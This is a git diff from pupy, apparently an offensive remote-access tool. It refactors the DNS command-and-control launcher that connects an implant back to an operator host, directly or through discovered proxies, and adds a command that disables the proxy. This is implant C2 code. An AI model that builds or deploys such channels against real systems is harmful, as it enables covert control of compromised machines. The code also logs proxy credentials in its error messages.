diff --git a/pupy/network/lib/launchers/dnscnc.py b/pupy/network/lib/launchers/dnscnc.py index 0d8bcecf..5ba02788 100644 --- a/pupy/network/lib/launchers/dnscnc.py +++ b/pupy/network/lib/launchers/dnscnc.py @@ -134,7 +134,7 @@ class DNSCncLauncher(BaseLauncher): metavar='', required=True, help='controlled domain (hostname only, no IP, ' - 'you should properly setup NS first. Port is NOT supported)' + 'you should properly setup NS first. Port is NOT supported)' ) def parse_args(self, args): @@ -142,6 +142,82 @@ class DNSCncLauncher(BaseLauncher): self.set_host(self.args.domain) self.set_transport(None) + def try_direct_connect(self, command): + _, host, port, transport, _ = command + t = network.conf.transports[transport]( + bind_payload=self.connect_on_bind_payload + ) + + client = t.client() + s = None + stream = None + + try: + s = client.connect(host, port) + stream = t.stream(s, t.client_transport, t.client_transport_kwargs) + except socket.error as e: + logging.error('Couldn\'t connect to {}:{} transport: {}: {}'.format( + host, port, transport, e + )) + + except Exception, e: + logging.exception(e) + + return stream + + def try_connect_via_proxy(self, command): + _, host, port, transport, connection_proxy = command + + for proxy_type, proxy, proxy_username, proxy_password in get_proxies( + additional_proxies=[connection_proxy] if connection_proxy else None + ): + t = network.conf.transports[transport]( + bind_payload=self.connect_on_bind_payload + ) + + if t.client is PupyTCPClient: + t.client = PupyProxifiedTCPClient + elif t.client is PupySSLClient: + t.client = PupyProxifiedSSLClient + else: + return + + s = None + stream = None + + proxy_addr, proxy_port = proxy.rsplit(':', 1) + + try: + client = t.client( + proxy_type=proxy_type.upper(), + proxy_addr=proxy_addr, + proxy_port=proxy_port, + proxy_username=proxy_username, + proxy_password=proxy_password + ) + + s = client.connect(host, port) + stream = t.stream(s, t.client_transport, t.client_transport_kwargs) + + except (socket.error, GeneralProxyError, ProxyConnectionError, HTTPError) as e: + if proxy_username and proxy_password: + proxy_auth = '{}:{}@'.format(proxy_username, proxy_password) + else: + proxy_auth = '' + + logging.error('Couldn\'t connect to {}:{} transport: {} ' + 'via {}://{}{}: {}'.format( + host, port, transport, + proxy_type, proxy_auth, proxy, + e + )) + + except Exception, e: + logging.exception(e) + + yield stream + + def iterate(self): if self.args is None: raise LauncherError('parse_args needs to be called before iterate') @@ -168,78 +244,14 @@ class DNSCncLauncher(BaseLauncher): continue if command[0] == 'connect': - _, host, port, transport, connection_proxy = command - t = network.conf.transports[transport]( - bind_payload=self.connect_on_bind_payload - ) - - client = t.client() - s = None - stream = None - - try: - s = client.connect(host, port) - stream = t.stream(s, t.client_transport, t.client_transport_kwargs) - except socket.error as e: - logging.error('Couldn\'t connect to {}:{} transport: {}: {}'.format( - host, port, transport, e - )) - finally: - with dnscnc.lock: - dnscnc.stream = stream - - if stream: - yield stream - return - - for proxy_type, proxy, proxy_username, proxy_password in get_proxies( - additional_proxies=[connection_proxy] - ): - t = network.conf.transports[transport]( - bind_payload=self.connect_on_bind_payload - ) - - if t.client is PupyTCPClient: - t.client = PupyProxifiedTCPClient - elif t.client is PupySSLClient: - t.client = PupyProxifiedSSLClient - else: - return - - s = None - stream = None - - proxy_addr, proxy_port = proxy.rsplit(':', 1) - - try: - client = t.client( - proxy_type=proxy_type.upper(), - proxy_addr=proxy_addr, - proxy_port=proxy_port, - proxy_username=proxy_username, - proxy_password=proxy_password - ) - - s = client.connect(host, port) - stream = t.stream(s, t.client_transport, t.client_transport_kwargs) - - except (socket.error, GeneralProxyError, ProxyConnectionError, HTTPError) as e: - if proxy_username and proxy_password: - proxy_auth = '{}:{}@'.format(proxy_username, proxy_password) - else: - proxy_auth = '' - - logging.error('Couldn\'t connect to {}:{} transport: {} ' - 'via {}://{}{}: {}'.format( - host, port, transport, - proxy_type, proxy_auth, proxy, - e - )) - - finally: - with dnscnc.lock: - dnscnc.stream = stream - + with dnscnc.lock: + stream = self.try_direct_connect(command) if stream: + dnscnc.stream = stream yield stream - return + else: + for stream in self.try_connect_via_proxy(command): + if stream: + dnscnc.stream = stream + yield stream + break diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py index d774b5b7..ba8fe3a7 100644 --- a/pupy/network/lib/picocmd/picocmd.py +++ b/pupy/network/lib/picocmd/picocmd.py @@ -439,6 +439,9 @@ class SetProxy(Command): return SetProxy(scheme, ip, port, user, password), sip+user_len+pass_len+2 def __repr__(self): + if self.scheme == 'none': + return '{{PROXY: DISABLED}}' + if self.user and self.password: auth = '{}:{}@'.format(self.user, self.password) else: diff --git a/pupy/pupylib/PupyDnsCnc.py b/pupy/pupylib/PupyDnsCnc.py index 515737c8..901f7655 100644 --- a/pupy/pupylib/PupyDnsCnc.py +++ b/pupy/pupylib/PupyDnsCnc.py @@ -52,15 +52,21 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler): return self.add_command(Exit(), session=node, default=default) def proxy(self, uri, node=None, default=False): + if not uri or uri == 'none': + return self.add_command( + SetProxy('none', '0.0.0.0', 0), + session=node, default=default + ) + if not '://' in uri: uri = 'http://' + uri parsed = urlparse(uri) return self.add_command( SetProxy( - scheme=parsed.scheme, - ip=parsed.hostname, - port=parsed.port or 3128, + parsed.scheme, + parsed.hostname, + parsed.port or 3128, user=parsed.username, password=parsed.password ), diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index 1e2c4608..fc9b6426 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -109,11 +109,14 @@ class PupyServer(threading.Thread): fdqn = dnscnc.strip() dnsport = 5454 - self.dnscnc = PupyDnsCnc( - igd=self.igd, - config=self.config, - credentials=self.credentials - ) + try: + self.dnscnc = PupyDnsCnc( + igd=self.igd, + config=self.config, + credentials=self.credentials + ) + except Exception, e: + logging.error('DnsCNC failed: {}'.format(e)) def create_id(self):